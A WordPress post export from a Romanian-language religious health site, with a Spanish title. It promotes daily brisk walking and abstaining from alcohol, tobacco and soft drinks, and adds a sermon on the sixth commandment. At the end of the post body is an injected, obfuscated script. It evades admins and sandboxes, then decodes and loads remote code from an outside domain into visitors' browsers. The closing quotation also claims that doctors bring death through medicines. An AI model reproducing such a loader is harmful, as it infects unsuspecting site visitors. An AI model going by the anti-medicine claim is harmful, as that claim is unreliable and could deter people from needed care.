{"id":2775,"date":"2022-12-27T16:13:03","date_gmt":"2022-12-27T16:13:03","guid":{"rendered":"https:\/\/reformaprovita.com\/?p=2775"},"modified":"2026-05-22T15:59:42","modified_gmt":"2026-05-22T15:59:42","slug":"cunoasteti-avantajele-si-beneficiile-exercitiilor-fizice","status":"publish","type":"post","link":"https:\/\/reformaprovita.com\/es\/reforma-prosalud\/conoce-las-ventajas-y-beneficios-de-los-ejercicios-fisicos\/","title":{"rendered":"Conoce las ventajas y beneficios del ejercicio f\u00edsico"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">S\u0103pt\u0103m\u00e2na aceasta vom continua s\u0103 studiem Principiile S\u0103n\u0103t\u0103\u021bii Fizice, Mintale \u0219i Spirituale. Ast\u0103zi vom afla care sunt beneficiile exerci\u021biului fizic pentru bun\u0103starea \u0219i s\u0103n\u0103tatea ta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dac\u0103 pune\u021bi \u00een practic\u0103 aceste cuno\u0219tin\u021be cu fidelitate \u0219i entuziasm, ve\u021bi sim\u021bi o schimbare radical\u0103 \u00een s\u0103n\u0103tatea dumneavoastr\u0103 general\u0103. Sper c\u0103 apreciezi importan\u021ba pe care o au aceste principii pentru tine, pentru s\u0103n\u0103tatea ta \u0219i pentru cei din jur. Nu ezita\u021bi s\u0103 \u00eemp\u0103rt\u0103\u0219i\u021bi aceste cuno\u0219tin\u021be odat\u0103 ce \u00eencepe\u021bi s\u0103 sim\u021bi\u021bi \u00eembun\u0103t\u0103\u021birile care v\u0103 vor aduce. \u00cemp\u0103rt\u0103\u0219ind aceste principii valoroase altora, astfel \u00eenc\u00e2t \u0219i ei s\u0103 beneficieze, le ve\u021bi face o favoare. \u00cen acest fel vom face aceast\u0103 lume mai bun\u0103 \u0219i ne vom oferi contribu\u021bia pentru a face din ea un loc mai uman. Via\u021ba noastr\u0103 este important\u0103 \u00een m\u0103sura \u00een care \u00eei ajut\u0103m pe al\u021bii s\u0103-\u0219i \u00eembun\u0103t\u0103\u021beasc\u0103 s\u0103n\u0103tatea \u0219i fericirea.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Al \u0219aselea principiu al dreptului natural: exerci\u021biul fizic. Cunoa\u0219te\u021bi beneficiile exerci\u021biilor fizice.<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Chiar dac\u0103 m\u0103n\u00e2nci s\u0103n\u0103tos \u0219i natural, nu po\u021bi tr\u0103i s\u0103n\u0103tos f\u0103r\u0103 exerci\u021bii fizice. Cea mai bun\u0103 modalitate de a sim\u021bi beneficiile exerci\u021biilor fizice este cu siguran\u021b\u0103 mai simpl\u0103 \u0219i mai ieftin\u0103 dec\u00e2t credeai: mergi vioi. Este recomandat s\u0103 o face\u021bi cel pu\u021bin o or\u0103 pe zi. Pute\u021bi face o jum\u0103tate de or\u0103 diminea\u021ba \u0219i o jum\u0103tate de or\u0103 dup\u0103-amiaza. Ideal este s\u0103 o faci pe c\u00e2mp, munte sau plaj\u0103, ori de c\u00e2te ori este posibil. Dac\u0103 nu ave\u021bi ocazia s\u0103 o face\u021bi \u00een aceste locuri, nu v\u0103 face\u021bi griji. C\u0103uta\u021bi str\u0103zi unde nu este prea mult trafic, unde bate soarele \u0219i nu este mult zgomot.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pentru a experimenta beneficiile exerci\u021biului fizic nu ave\u021bi nevoie de aparate sau greut\u0103\u021bi. Nu trebuie s\u0103 cheltuie\u0219ti bani, pentru c\u0103 mersul pe jos este cel mai s\u0103n\u0103tos \u0219i natural \u0219i este \u0219i cel mai ieftin. De\u0219i \u00eenotul este \u0219i s\u0103n\u0103tos, omul este f\u0103cut s\u0103 mearg\u0103. Cel mai bun mod de a merge? Merge\u021bi drept, \u00eentr-un ritm bun. Respir\u00e2nd mereu profund \u0219i ritmic, f\u0103r\u0103 a te dep\u0103\u0219i.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ca toate principiile, le \u00eemp\u0103rt\u0103\u0219esc pentru c\u0103 le-am experimentat personal beneficiile. Pe l\u00e2ng\u0103 faptul c\u0103 fac exerci\u021bii s\u0103n\u0103toase \u0219i fac plaj\u0103, am propria mea gr\u0103din\u0103 pentru a avea legume organice, ceea ce v\u0103 recomand \u0219i vou\u0103.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0218i mai bine: ad\u0103uga\u021bi g\u00e2ndirea pozitiv\u0103 la beneficiile exerci\u021biilor fizice<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Gandeste pozitiv. Mediteaz\u0103 asupra beneficiilor unei vie\u021bi s\u0103n\u0103toase \u0219i asupra privilegiului de a cunoa\u0219te aceste principii de s\u0103n\u0103tate. Datorit\u0103 lor ai \u00eenv\u0103\u021bat s\u0103 m\u0103n\u00e2nci mai natural \u0219i mai s\u0103n\u0103tos. A\u021bi cunoscut riscul pentru s\u0103n\u0103tatea dumneavoastr\u0103 de a consuma anumite alimente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A\u0219a c\u0103 nu te sim\u021bi nefericit pentru c\u0103 ai \u00eencetat s\u0103 mai consumi unele alimente, p\u00e2n\u0103 la urm\u0103 nu \u021bi-au adus niciun beneficiu s\u0103n\u0103t\u0103\u021bii \u0219i doar te-au \u00eemboln\u0103vit. De asemenea, nu ai un complex \u0219i nu-\u021bi fie ru\u0219ine s\u0103 spui c\u0103 ai luat decizia de a nu fuma sau de a nu bea b\u0103uturi alcoolice sau r\u0103coritoare. Da, evita\u021bi \u0219i b\u0103uturile r\u0103coritoare. Nu v\u0103 vor face nimic bine cu cantitatea lor mare de zah\u0103r, substan\u021be chimice, coloran\u021bi \u0219i conservan\u021bi care produc, de asemenea, dependen\u021b\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fii prudent \u0219i politicos. Nu critica\u021bi pe nimeni care nu urmeaz\u0103 sau nu \u00een\u021belege via\u021ba s\u0103n\u0103toas\u0103, ci fi\u021bi ferm \u0219i credincios \u00een respectarea Principiilor S\u0103n\u0103t\u0103\u021bii. Via\u021ba este prea important\u0103 pentru a o cheltui pe obiceiuri \u0219i vicii care doar \u00ee\u021bi d\u0103uneaz\u0103 s\u0103n\u0103t\u0103\u021bii \u0219i \u00ee\u021bi reduc utilitatea \u00een aceast\u0103 lume.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Lua\u021bi m\u0103suri \u0219i \u00eemp\u0103rt\u0103\u0219i\u021bi-v\u0103 experien\u021ba<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Fi\u021bi mai bine \u0219i sim\u021bi\u021bi-v\u0103 mai bine \u00een fiecare zi lu\u00e2nd m\u0103suri asupra bun\u0103st\u0103rii voastre. Stabili\u021bi-v\u0103 scopul de a \u00eenv\u0103\u021ba lucruri noi \u0219i s\u0103n\u0103toase \u00een fiecare zi, conform Naturii. Mai mult dec\u00e2t at\u00e2t, pune-le \u00een practic\u0103 \u0219i cu entuziasm. Vei sim\u021bi cum s\u0103n\u0103tatea ta \u0219i via\u021ba ta se vor schimba total. Vei fi o persoan\u0103 nou\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen mod ideal, partenerul \u0219i familia ar trebui s\u0103 accepte acest stil de via\u021b\u0103 s\u0103n\u0103tos. Dar dac\u0103 acest lucru nu poate fi, c\u0103uta\u021bi al\u021bi oameni care doresc s\u0103-\u0219i \u00eembun\u0103t\u0103\u021beasc\u0103 condi\u021biile de via\u021b\u0103. C\u00e2nd Reforma se face \u00een companie, este mai pl\u0103cut\u0103 \u0219i este mai u\u0219or s\u0103 faci schimb\u0103rile necesare, \u00eemp\u0103rt\u0103\u0219ind aceste cuno\u0219tin\u021be \u0219i experien\u021be.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Explica\u021bi-mi progresul \u0219i experien\u021ba dvs., astfel \u00eenc\u00e2t \u0219i eu s\u0103 m\u0103 bucur c\u0103 munca mea nu a fost \u00een zadar. Fie c\u0103 vrei s\u0103-mi poveste\u0219ti despre experien\u021ba ta sau s\u0103-mi pui orice alt\u0103 \u00eentrebare, f\u0103-o prin email-ul meu jamigo@reforma-pro-salud.com.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Decalogul Legii Mentale \u0219i Spirituale: al \u0219aselea principiu<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A \u0219asea porunc\u0103 a Legii lui Dumnezeu se g\u0103se\u0219te \u00een Biblie \u00een Exodul, capitolul 20 \u0219i versetul 13. Ea spune: \u201eS\u0103 nu ucizi\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen Evanghelia dup\u0103 Sf\u00e2ntul Matei, capitolul 5 \u0219i versetele, de la 21 la 24, Iisus Hristos ne-a \u00eenv\u0103\u021bat: \u201eA\u021bi auzit c\u0103 s-a spus celor din vechime: \u201eS\u0103 nu ucizi \u0219i cine va ucide se va face vinovat de judecat\u0103\u201d. Dar v\u0103 spun c\u0103 oricine se m\u00e2nie pe fratele s\u0103u se va face vinovat de judecat\u0103; \u0219i oricine zice: Nebun (imbecil) fratelui s\u0103u, va fi vinovat \u00eenaintea Sinodului; iar cine-i spune: Fatuo (nebun), va fi expus iadului de foc. De aceea, dac\u0103 aduci darul t\u0103u la altar \u0219i acolo \u00ee\u021bi aminte\u0219ti c\u0103 fratele t\u0103u are ceva \u00eempotriva ta, las\u0103-\u021bi darul acolo \u00eenaintea altarului \u0219i du-te, \u00eempac\u0103-te mai \u00eent\u00e2i cu fratele t\u0103u, apoi vino \u0219i adu-\u021bi darul. .&#8217;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iisus Hristos, Marele \u00cenv\u0103\u021b\u0103tor, M\u00e2ntuitorul nostru, amplific\u0103 \u0219i precizeaz\u0103 aceast\u0103 Porunc\u0103 foarte scurt\u0103: \u201eS\u0103 nu ucizi\u201d. C\u00e2nd \u00eel maltratezi sau \u00eel jigne\u0219ti pe aproapele t\u0103u cu un cuv\u00e2nt derogator, vei p\u0103c\u0103tui deja \u00eempotriva lui. \u00cel r\u0103ni\u021bi \u0219i \u00eel insulta\u021bi. De acolo poate \u00eencepe o lupt\u0103 care se poate sf\u00e2r\u0219i \u00een ur\u0103 sau, \u0219i mai r\u0103u, \u00eentr-o crim\u0103. C\u00e2nd dispre\u021buim pe cineva, p\u0103c\u0103tuim \u0219i \u00eempotriva Tat\u0103lui nostru Ceresc, deoarece aceast\u0103 persoan\u0103 este o fiic\u0103 a lui Dumnezeu \u0219i merit\u0103 respectul nostru.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">A fi un bun cre\u0219tin, a iubi f\u0103r\u0103 a critica sau judeca<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Nu trebuie s\u0103 critic\u0103m sau s\u0103 judec\u0103m pe nimeni, pentru c\u0103 inima \u0219i \u00eemprejur\u0103rile fiec\u0103rei persoane sunt cunoscute doar de Dumnezeu. El va judeca \u0219i va da fiec\u0103ruia r\u0103splata sau pedeapsa pe care o merit\u0103. Unii \u00ee\u0219i justific\u0103 relele tratamente sus\u021bin\u00e2nd c\u0103 persoana merit\u0103 din cauza lipsei de educa\u021bie \u0219i st\u00e2ng\u0103cie, dar nu este corect. Isus ne-a \u00eenv\u0103\u021bat prin porunc\u0103 \u0219i exemplu c\u0103 trebuie s\u0103-i iubim pe to\u021bi, chiar \u0219i pe cei care nu merit\u0103. El ne-a \u00eenv\u0103\u021bat c\u0103 trebuie s\u0103 ne iubim chiar \u0219i pe du\u0219manii no\u0219tri \u0219i s\u0103 \u00eentoarcem binele pentru r\u0103u. \u00cen felul acesta vom fi copii ai Tat\u0103lui nostru Ceresc, care face soarele Lui s\u0103 r\u0103sar\u0103 peste bine \u0219i r\u0103u \u0219i s\u0103 plou\u0103 peste drep\u021bi \u0219i nedrep\u021bi (Matei, 5:38-48). V\u0103 rog s\u0103 citi\u021bi acest pasaj biblic.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Majoritatea cre\u0219tinilor nu au \u00een\u021beles cre\u0219tinismul \u0219i se comport\u0103 ca oricine nu are speran\u021ba vie\u021bii ve\u0219nice. Mul\u021bi cre\u0219tini cred c\u0103 cre\u0219tinismul se roag\u0103 \u0219i urmeaz\u0103 unele ceremonii, dar nu este a\u0219a. A fi cre\u0219tin \u00eenseamn\u0103 a urma exemplul lui Hristos. Citi\u021bi Iacov 2:8-26 din Biblie \u0219i ve\u021bi fi uimi\u021bi de ceea ce ne \u00eenva\u021b\u0103 apostolul Iacov despre cre\u0219tinismul adev\u0103rat.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aminti\u021bi-v\u0103 c\u0103 cea mai mare porunc\u0103 este \u201eS\u0103 iube\u0219ti pe Domnul Dumnezeul t\u0103u din toat\u0103 inima ta, din toat\u0103 mintea ta \u0219i din toat\u0103 puterea ta\u201d. Iar al doilea este asem\u0103n\u0103tor cu acesta: \u201eS\u0103 iube\u0219ti pe aproapele t\u0103u ca pe tine \u00eensu\u021bi\u201d. Matei, 22:36-40. Aceste dou\u0103 porunci rezum\u0103 toate cele zece porunci ale Legii lui Dumnezeu, date pe Sinai lui Moise. Exod, 20:1-17.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"400\" src=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico.jpg\" alt=\"\" class=\"wp-image-2776\" srcset=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico.jpg 800w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico-600x300.jpg 600w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico-300x150.jpg 300w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico-768x384.jpg 768w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico-18x9.jpg 18w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/6-articulo-ventajas-ejercicio-fisico-580x290.jpg 580w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">A efectua<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u201eDumnezeu a stabilit Legi care guverneaz\u0103 constitu\u021bia noastr\u0103 \u0219i pentru fiecare \u00eenc\u0103lcare exist\u0103 o pedeaps\u0103 (boal\u0103) care trebuie \u00eendeplinit\u0103 mai devreme sau mai t\u00e2rziu. Majoritatea bolilor care au f\u0103cut umanitatea s\u0103 sufere \u0219i o fac s\u0103 sufere, au fost create de oameni din cauza necunoa\u0219terii Legilor de baz\u0103 care le guverneaz\u0103 propriul organism. Ei par indiferen\u021bi \u00een chestiuni de s\u0103n\u0103tate \u0219i lucreaz\u0103 cu perseveren\u021b\u0103 pentru a se rupe \u00een buc\u0103\u021bi, iar c\u00e2nd sunt rupti \u0219i sl\u0103bi\u021bi la trup \u0219i la minte, trimit dup\u0103 doctor \u0219i aduc moartea cu medicamente (medicament)\u201d CRA.20.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>S\u0103pt\u0103m\u00e2na aceasta vom continua s\u0103 studiem Principiile S\u0103n\u0103t\u0103\u021bii Fizice, Mintale \u0219i Spirituale. Ast\u0103zi vom afla care sunt beneficiile exerci\u021biului fizic pentru bun\u0103starea \u0219i s\u0103n\u0103tatea ta. Dac\u0103 pune\u021bi \u00een practic\u0103 aceste cuno\u0219tin\u021be cu fidelitate \u0219i entuziasm, ve\u021bi sim\u021bi o schimbare radical\u0103 \u00een s\u0103n\u0103tatea dumneavoastr\u0103 general\u0103. Sper c\u0103 apreciezi importan\u021ba pe care o au aceste principii pentru&#8230;<\/p>","protected":false},"author":3,"featured_media":2777,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"content-type":"","mc4wp_mailchimp_campaign":[],"footnotes":""},"categories":[69,45,43],"tags":[],"class_list":["post-2775","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-curs-gratis","category-obiceiuri-sanatoase","category-reforma-prosalud"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cunoa\u0219te\u021bi avantajele \u0219i beneficiile exerci\u021biilor fizice - ReformaProvita<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/reformaprovita.com\/es\/reforma-prosalud\/conoce-las-ventajas-y-beneficios-de-los-ejercicios-fisicos\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cunoa\u0219te\u021bi avantajele \u0219i beneficiile exerci\u021biilor fizice - ReformaProvita\" \/>\n<meta property=\"og:description\" content=\"S\u0103pt\u0103m\u00e2na aceasta vom continua s\u0103 studiem Principiile S\u0103n\u0103t\u0103\u021bii Fizice, Mintale \u0219i Spirituale. Ast\u0103zi vom afla care sunt beneficiile exerci\u021biului fizic pentru bun\u0103starea \u0219i s\u0103n\u0103tatea ta. Dac\u0103 pune\u021bi \u00een practic\u0103 aceste cuno\u0219tin\u021be cu fidelitate \u0219i entuziasm, ve\u021bi sim\u021bi o schimbare radical\u0103 \u00een s\u0103n\u0103tatea dumneavoastr\u0103 general\u0103. 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